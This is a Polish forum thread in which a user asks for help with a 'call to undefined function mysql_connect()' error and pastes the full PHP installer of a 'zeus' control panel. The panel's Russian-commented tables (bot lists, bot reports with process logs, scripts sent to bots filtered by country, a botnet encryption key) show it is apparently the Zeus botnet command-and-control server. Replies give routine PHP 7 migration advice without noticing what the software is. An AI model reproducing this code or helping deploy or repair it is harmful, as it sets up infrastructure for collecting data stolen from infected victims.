Połączeniez bazą MySql-problem

0

Mam problem z połączeniem z bazą MySql. Pokazuje taki błąd:
Fatal error: Uncaught Error: Call to undefined function mysql_connect() in C:\xampp\htdocs\zeus\install\index.php:373 Stack trace: #0 {main} thrown in C:\xampp\htdocs\zeus\install\index.php on line 373
Oto kod php:

<?php define('__INSTALL__', 1); require_once('../system/global.php'); /////////////////////////////////////////////////////////////////////////////////////////////////// // Константы. /////////////////////////////////////////////////////////////////////////////////////////////////// //Файлы. define('FILE_GEOBASE', 'geobase.txt'); //Геобаза define('FILE_CONFIG', '../system/config.php'); //Конфиг. //Заголовок define('APP_TITLE', 'Control Panel '.BO_CLIENT_VERSION.' Installer'); //Параметры диалога. define('DIALOG_WIDTH', '350px'); //Ширина диалога. define('DIALOG_INPUT_WIDTH', '150px'); //Ширина <input>. //Подключение темы. define('THEME_PATH', '../theme'); require_once(THEME_PATH.'/index.php'); /////////////////////////////////////////////////////////////////////////////////////////////////// // Список таблиц. /////////////////////////////////////////////////////////////////////////////////////////////////// //Список ботов $_TABLES['botnet_list'] = "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '' UNIQUE, ". //ID бота. "`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет. "`bot_version` int unsigned NOT NULL default '0', ". //Версия бота. "`net_latency` int unsigned NOT NULL default '0', ". //Лаг соединения. "`tcpport_s1` smallint unsigned NOT NULL default '0', ". //TCP порт S1. "`time_localbias` int signed NOT NULL default '0', ". //Оффсет локального времени в секундах. "`os_version` tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType). "`language_id` smallint unsigned NOT NULL default '0', ". //ID языка OS. "`ipv4_list` blob NOT NULL, ". //Список IPv4 адресов. "`ipv6_list` blob NOT NULL, ". //Список IPv6 адресов. "`ipv4` varbinary(4) NOT NULL default '\\0\\0\\0\\0', ". //IPv4 "`country` varchar(2) NOT NULL default '--', ". //Страна. "`rtime_first` int unsigned NOT NULL default '0', ". //Время первого отчета об онлайне. "`rtime_last` int unsigned NOT NULL default '0', ". //Время последнего отчета об онлайне. "`rtime_online` int unsigned NOT NULL default '0', ". //Время, c которого бот находиться в онлайне. "`flag_new` bool NOT NULL default '1', ". //Флаг "Инсталла". "`flag_used` bool NOT NULL default '0', ". //Флаг "Использован". "`comment` tinytext NOT NULL"; //Комментарии к боту. //Шаблон отчетов. $_TABLES['botnet_reports'] = "`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ". "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота. "`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет. "`bot_version` int unsigned NOT NULL default '0', ". //Версия бота. "`path_source` text NOT NULL, ". //Исходный путь лога. "`path_dest` text NOT NULL, ". //Конечный путь лога. "`time_system` int unsigned NOT NULL default '0', ". //Оффсет локального времени в секундах. "`time_tick` int unsigned NOT NULL default '0', ". //Оффсет локального времени в мс. "`time_localbias` int NOT NULL default '0', ". //Оффсет локального времени в секундах. "`os_version` tinyblob NOT NULL, ". //Данные об OS (OSINFO). "`language_id` smallint unsigned NOT NULL default '0', ". //ID языка OS. "`process_name` text NOT NULL, ". //Имя процесса. "`process_user` text NOT NULL, ". //Имя юзера процесса. "`type` int unsigned NOT NULL default '0', ". //Тип лога. "`context` longtext NOT NULL, ". //Содержимое лога. "`ipv4` varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4 "`country` varchar(2) NOT NULL default '--', ". //Страна. "`rtime` int unsigned NOT NULL default '0'"; //Время отчета. //База IPv4 to Country. $_TABLES['ipv4toc'] = "`l` int unsigned NOT NULL default '0', ". //Нижний IP. "`h` int unsigned NOT NULL default '0', ". //Верхний IP. "`c` varbinary(2) NOT NULL default '--'"; //Страна. //Список пользователей. $_TABLES['cp_users'] = "`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ". "`name` varchar(20) NOT NULL default '' UNIQUE, ". //Имя. "`pass` varchar(32) NOT NULL default '', ". //Пароль. "`language` varbinary(2) NOT NULL default 'en', ". //Язык пользователя. "`flag_enabled` bool NOT NULL default '1', ". //Флаг включенного пользователя "`comment` tinytext NOT NULL, ". //Комментарии. //Различные настройки. "`ss_format` varbinary(10) NOT NULL default 'jpeg', ". //Формат скриншотов. "`ss_quality` tinyint unsigned NOT NULL default '30', ". //Качество скриншота. //Права. "`r_edit_bots` bool NOT NULL default '1', ". "`r_stats_main` bool NOT NULL default '1', ". "`r_stats_main_reset` bool NOT NULL default '1', ". "`r_stats_os` bool NOT NULL default '1', ". "`r_botnet_bots` bool NOT NULL default '1', ". "`r_botnet_scripts` bool NOT NULL default '1', ". "`r_botnet_scripts_edit` bool NOT NULL default '1', ". "`r_reports_db` bool NOT NULL default '1', ". "`r_reports_db_edit` bool NOT NULL default '1', ". "`r_reports_files` bool NOT NULL default '1', ". "`r_reports_files_edit` bool NOT NULL default '1', ". "`r_reports_jn` bool NOT NULL default '1', ". "`r_system_info` bool NOT NULL default '1', ". "`r_system_options` bool NOT NULL default '1', ". "`r_system_user` bool NOT NULL default '1', ". "`r_system_users` bool NOT NULL default '1'"; //Скрипты ботам. $_TABLES['botnet_scripts'] = "`id` int unsigned NOT NULL auto_increment PRIMARY KEY,". "`extern_id` varbinary(16) NOT NULL default '0', ". //Внешний ID. "`name` varchar(255) NOT NULL default '', ". //Название группы. "`flag_enabled` bool NOT NULL default '0', ". //Скрипт активна. "`time_created` int unsigned NOT NULL default '0', ". //Время создания скрипта. "`send_limit` int unsigned NOT NULL default '0', ". //Лимит ботов. "`bots_wl` text NOT NULL, ". //Список ботов, для которых нужно испольнять скрипт. "`bots_bl` text NOT NULL, ". //Список ботов, для которых не нужно испольнять скрипт. "`botnets_wl` text NOT NULL, ". //Список ботнетов, для которых нужно испольнять скрипт. "`botnets_bl` text NOT NULL, ". //Список ботнетов, для которых не нужно испольнять скрипт. "`countries_wl` text NOT NULL, ". //Список стран, для которых нужно испольнить скрипт. "`countries_bl` text NOT NULL, ". //Список стран, для которых не нужно исполнять скрипт. "`script_text` text NOT NULL, ". //Текстовое представление команд в группе. "`script_bin` blob NOT NULL"; //Бинарное представление команд в группе. //Статистика скриптов по ботам. $_TABLES['botnet_scripts_stat'] = "`extern_id` varbinary(16) NOT NULL, ". //Внешний ID. "`type` tinyint unsigned NOT NULL default '0', ". //Типа записи. 1 - отпралвен, 2 - исполнен, 3 - ошибка. "`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота. "`bot_version` int unsigned NOT NULL default '0', ". //Версия бота. "`rtime` int unsigned NOT NULL default '0', ". //Время отчета. "`report` text NOT NULL, ". //Текстовый отчет бота о выполнении сценария. "UNIQUE(`extern_id`, `bot_id`, `type`)"; /////////////////////////////////////////////////////////////////////////////////////////////////// // Значения по умолчанию. /////////////////////////////////////////////////////////////////////////////////////////////////// $pd_user = 'admin'; $pd_pass = ''; $pd_mysql_host = '127.0.0.1'; $pd_mysql_user = 'root'; $pd_mysql_pass = ''; $pd_mysql_db = 'cpdb'; $pd_reports_path = '_reports'; $pd_reports_to_db = 1; $pd_reports_to_fs = 0; $pd_botnet_timeout = 25; $pd_botnet_cryptkey = ''; $_OUTPUT = ''; /////////////////////////////////////////////////////////////////////////////////////////////////// // Функции. /////////////////////////////////////////////////////////////////////////////////////////////////// //Отображение ошибки. function ShowError($text) { global $_OUTPUT; $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• ERROR:'.$text, THEME_DIALOG_ITEM_ERROR).THEME_DIALOG_ROW_END; } //Отображение процесса. function ShowProgress($text) { global $_OUTPUT; $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• '.$text, THEME_DIALOG_ITEM_SUCCESSED).THEME_DIALOG_ROW_END; } //Создание таблицы. function CreateTable($name) { global $_TABLES; ShowProgress("Creating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END."."); if(!@mysql_query("DROP TABLE IF EXISTS `{$name}`") || !@mysql_query("CREATE TABLE `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE)) { ShowError("Failed: ".htmlEntitiesEx(mysql_error())); return false; } return true; } //Обнавление таблицы. function UpdateTable($name) { global $_TABLES; ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END."."); if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE)) { ShowError("Failed: ".htmlEntitiesEx(mysql_error())); return false; } //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE); //Обнавляем на удачу. $list = explode(',', $_TABLES[$name]); foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}"); return true; } //Обнавление таблицы по данным другой таблицы. function UpdateTableEx($name, $real_name) { global $_TABLES; ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END."."); if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$real_name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE)) { ShowError("Failed: ".htmlEntitiesEx(mysql_error())); return false; } //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE); //Обнавляем на удачу. $list = explode(',', $_TABLES[$real_name]); foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}"); return true; } //Добавление строки в таблицу function AddRowToTable($name, $query) { if(!mysqlQueryEx($name, "INSERT INTO `{$name}` SET {$query}")) { ShowError("Failed to write row to table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.": %s".htmlEntitiesEx(mysql_error())); return false; } return true; } //Создание пути. function CreatePath($new_dir, $old_dir) { $dir_r = '../'.$new_dir; if($old_dir != 0 && $old_dir != $new_dir && file_exists('../'.$old_dir)) { ShowProgress("Renaming folder ".THEME_STRING_BOLD_BEGIN."'{$old_dir}'".THEME_STRING_BOLD_END." to ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END."."); if(!is_dir($dir_r) && !@rename('../'.$old_dir, $dir_r)) { ShowError("Failed to rename folder."); return false; } @chmod($dir_r, 0777); } else { ShowProgress("Creating folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END."."); if(!is_dir($dir_r) && !@mkdir($dir_r, 0777)) { ShowError("Failed to create folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END."."); return false; } } return true; } //Выбор режим работы. $is_update = file_exists(FILE_CONFIG); /////////////////////////////////////////////////////////////////////////////////////////////////// // Процесс утсановки/обнавления. /////////////////////////////////////////////////////////////////////////////////////////////////// if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0) { $error = false; $_OUTPUT = str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, 'Installation steps:'), THEME_DIALOG_TITLE); //Получение Пост-данных. if($is_update) { if(!@include_once(FILE_CONFIG)) { ShowError("Failed to open file '".FILE_CONFIG."'."); $error = true; } else { if(isset($config['reports_path']))$pd_reports_path = $config['reports_path']; if(isset($config['reports_to_db']))$pd_reports_to_db = $config['reports_to_db'] ? 1 : 0; if(isset($config['reports_to_fs']))$pd_reports_to_fs = $config['reports_to_fs'] ? 1 : 0; if(isset($config['botnet_timeout']))$pd_botnet_timeout = (int)($config['botnet_timeout'] / 60); if(isset($config['botnet_cryptkey']))$pd_botnet_cryptkey = $config['botnet_cryptkey']; $pd_mysql_host = isset($config['mysql_host']) ? $config['mysql_host'] : NULL; $pd_mysql_user = isset($config['mysql_user']) ? $config['mysql_user'] : NULL; $pd_mysql_pass = isset($config['mysql_pass']) ? $config['mysql_pass'] : NULL; $pd_mysql_db = isset($config['mysql_db']) ? $config['mysql_db'] : NULL; } } else { $pd_user = checkPostData('user', 1, 20); $pd_pass = checkPostData('pass', 6, 64); $pd_reports_path = checkPostData('path_reports', 1, 256); $pd_reports_to_db = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1); $pd_reports_to_fs = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1); $pd_botnet_timeout = checkPostData('botnet_timeout', 1, 4); $pd_botnet_cryptkey = checkPostData('botnet_cryptkey', 1, 256); $pd_mysql_host = checkPostData('mysql_host', 1, 256); $pd_mysql_user = checkPostData('mysql_user', 1, 256); $pd_mysql_pass = checkPostData('mysql_pass', 0, 256); $pd_mysql_db = checkPostData('mysql_db', 1, 256); } $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/'); //Обработка ошибок. if(!$error) { if(!$is_update && ($pd_user === NULL || $pd_pass === NULL)) { ShowError('Bad format of login data.'); $error = true; } if($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL) { ShowError('Bad format of MySQL server data.'); $error = true; } if($pd_reports_path === NULL) { ShowError('Bad format of reports path.'); $error = true; } if(!is_numeric($pd_botnet_timeout) || $pd_botnet_timeout < 1) { ShowError('Bot online timeout have bad value.'); $error = true; } if($pd_botnet_cryptkey === NULL) { ShowError('Bad format of encryption key.'); $error = true; } } //Подключение к базе. if(!$error) { ShowProgress("Connecting to MySQL as ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_user}'".THEME_STRING_BOLD_END."."); if(!@mysql_connect($pd_mysql_host, $pd_mysql_user, $pd_mysql_pass) || !@mysql_query('SET NAMES \''.MYSQL_CODEPAGE.'\' COLLATE \''.MYSQL_COLLATE.'\'')) { ShowError("Failed connect to MySQL server: ".htmlEntitiesEx(mysql_error())); $error = true; } } //Выбор таблицы. if(!$error) { $db = addslashes($pd_mysql_db); ShowProgress("Selecting DB ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_db}'".THEME_STRING_BOLD_END."."); if(!@mysql_query("CREATE DATABASE IF NOT EXISTS `{$db}`")) { ShowError("Failed to create database: ".htmlEntitiesEx(mysql_error())); $error = true; } else if(!@mysql_select_db($pd_mysql_db)) { ShowError("Failed to select database: ".htmlEntitiesEx(mysql_error())); $error = true; } @mysql_query("ALTER DATABASE `{$db}` CHARACTER SET ".MYSQL_CODEPAGE." COLLATE ".MYSQL_COLLATE); } //Обрабатываем таблицы. if(!$error)foreach($_TABLES as $table => $v) { //Заполнение таблицы ipv4toc. if(strcmp($table, 'ipv4toc') == 0) { if(($error = !CreateTable($table)))break; ShowProgress("Filling table ".THEME_STRING_BOLD_BEGIN."'{$table}'".THEME_STRING_BOLD_END."."); if(($list = @file(FILE_GEOBASE)) === false) { ShowError("Failed to open file '".FILE_GEOBASE."'."); $error = true; } else { foreach($list as $item) { $cn = explode("\0", $item, 3); if(($error = !AddRowToTable($table, "l='{$cn[0]}', h='{$cn[1]}', c='".substr(trim($cn[2]), 0, 2)."'")))break; } unset($list); } } //Обновляем старые таблицы отчетов. else if(strcmp($table, 'botnet_reports') == 0) { if(($error = !CreateTable($table)))break; $rlist = listReportTables($pd_mysql_db); foreach($rlist as $rtable)if(($error = !UpdateTableEx($rtable, 'botnet_reports')))break; } else $error = !($is_update ? UpdateTable($table) : CreateTable($table)); if($error)break; } //Создание директории для отчетов. if(!$error)$error = !CreatePath($pd_reports_path, isset($config['reports_path']) ? $config['reports_path'] : 0); //Обновление файла конфигурации. if(!$error) { ShowProgress("Writing config file"); $updateList['mysql_host'] = $pd_mysql_host; $updateList['mysql_user'] = $pd_mysql_user; $updateList['mysql_pass'] = $pd_mysql_pass; $updateList['mysql_db'] = $pd_mysql_db; $updateList['reports_path'] = $pd_reports_path; $updateList['reports_to_db'] = $pd_reports_to_db ? 1 : 0; $updateList['reports_to_fs'] = $pd_reports_to_fs ? 1 : 0; $updateList['botnet_timeout'] = ((int)($pd_botnet_timeout * 60)); $updateList['botnet_cryptkey'] = $pd_botnet_cryptkey; if(!updateConfig($updateList)) { ShowError("Failed write to config file."); $error = true; } } //Добавление пользователя в базу. if(!$error && !$is_update) { ShowProgress("Adding user ".THEME_STRING_BOLD_BEGIN."'{$pd_user}'".THEME_STRING_BOLD_END."."); $error = !AddRowToTable('cp_users', "name='".addslashes($pd_user)."', pass='".md5($pd_pass)."', comment='Default user'"); } //Выставляем прозрачно права на каталог для временных файлов. @chmod('../tmp', 0777); //Успешное завершение. if(!$error) { $_OUTPUT .= THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN.($is_update ? '-- Update complete! --' : '-- Installation complete! --').THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED). THEME_DIALOG_ROW_END; themeSmall(APP_TITLE, $_OUTPUT.THEME_DIALOG_END, 0, 0, 0); die(); } $_OUTPUT .= THEME_DIALOG_END.THEME_VSPACE; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Основной диалог. /////////////////////////////////////////////////////////////////////////////////////////////////// if($is_update) { @include_once(FILE_CONFIG); if(isset($config['mysql_db']))$pd_mysql_db = $config['mysql_db']; } if($is_update)$help = "This application update/repair and reconfigure your control panel on this server. If you want make new installation, please remove file '".FILE_CONFIG."'."; else $help = "This application install and configure your control panel on this server. Please type settings and press 'Install'."; $_FORMITEMS = ''; //Данные юзера. if(!$is_update) { $_FORMITEMS .= THEME_DIALOG_ROW_BEGIN. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Root user:'), THEME_DIALOG_GROUP_TITLE). THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'User name: (1-20 chars):', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_user), 'user', '20', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Password (6-64 chars):', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_pass), 'pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_GROUP_END. THEME_DIALOG_ROW_END; } //База данных. $_FORMITEMS .= THEME_DIALOG_ROW_BEGIN. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'MySQL server:'), THEME_DIALOG_GROUP_TITLE); if(!$is_update) { $_FORMITEMS .= THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Host:', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_host), 'mysql_host', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'User:', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_user), 'mysql_user', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_pass), 'mysql_pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END; } $_FORMITEMS .= THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Database:', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_db), 'mysql_db', '64', DIALOG_INPUT_WIDTH), $is_update ? THEME_DIALOG_ITEM_INPUT_TEXT_RO : THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_GROUP_END. THEME_DIALOG_ROW_END; //Локальные пути. if(!$is_update) { $_FORMITEMS .= THEME_DIALOG_ROW_BEGIN. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Local folders:'), THEME_DIALOG_GROUP_TITLE). THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Reports:', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_reports_path), 'path_reports', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_GROUP_END. THEME_DIALOG_ROW_END; } //Опции. if(!$is_update) { $_FORMITEMS .= THEME_DIALOG_ROW_BEGIN. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Options:'), THEME_DIALOG_GROUP_TITLE). THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Online bot timeout:', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_timeout), 'botnet_timeout', '4', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', 'Encryption key (1-255 chars):', THEME_DIALOG_ITEM_TEXT). str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_cryptkey), 'botnet_cryptkey', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_ROW_BEGIN. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN). THEME_DIALOG_ROW_BEGIN. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_db', '', 'Enable write reports to database.'), $pd_reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2). THEME_DIALOG_ROW_END. THEME_DIALOG_ROW_BEGIN. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_fs', '', 'Enable write reports to local path.'), $pd_reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2). THEME_DIALOG_ROW_END. THEME_DIALOG_GROUP_END. THEME_DIALOG_ROW_END. THEME_DIALOG_GROUP_END. THEME_DIALOG_ROW_END; } //Форма. $_OUTPUT .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('idata', basename($_SERVER['PHP_SELF']), ''), THEME_FORMPOST_BEGIN). str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, APP_TITLE), THEME_DIALOG_TITLE). THEME_DIALOG_ROW_BEGIN. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN). THEME_DIALOG_ROW_BEGIN. str_replace('{TEXT}', $help, THEME_DIALOG_ITEM_WRAPTEXT). THEME_DIALOG_ROW_END. THEME_DIALOG_GROUP_END. THEME_DIALOG_ROW_END. $_FORMITEMS. str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN). str_replace(array('{TEXT}', '{JS_EVENTS}'), array(($is_update ? '-- Update --' : '-- Install --'), ''), THEME_DIALOG_ITEM_ACTION_SUBMIT). THEME_DIALOG_ACTIONLIST_END. THEME_DIALOG_END. THEME_FORMPOST_END; //Вывод. themeSmall(APP_TITLE, $_OUTPUT, 0, 0, 0); ?>
1

W PHP 7 ta funkcja została chyba usunięta. Wykorzystaj

mysqli_connect($mysql_hostname , $mysql_username)
0

Zmieniłem ta funkcję ale następny błąd wyskoczył
Fatal error: Uncaught Error: Call to undefined function mysql_error() in C:\xampp\htdocs\zeus\install\index.php:375 Stack trace: #0 {main} thrown in C:\xampp\htdocs\zeus\install\index.php on line 375

1

wszystkie funkcje mysql_ musisz zmienić na ich odpowiedniki mysqli_
np:

mysql_error() -> mysqli_error()

choć nie zawsze jest to tak proste i nie wszystkie funkcje mają takie same odpowiedniki.

Jeśli zmian wymaga praktycznie cały kod (nie ma klasy do obsługi połączeń tylko zapytania są "w każdym pliku"), to najprościej zmienić na serwerze wersję PHP na 5.x.

0

mysql_error() też został usunięty w PHP7 :) Może będzie lepiej jak zmienisz PHP na 5? Bo chyba próbujesz odpalić coś co chodziło na poprzedniej wersji.

0

Problem rozwiązany

1 użytkowników online, w tym zalogowanych: 0, gości: 1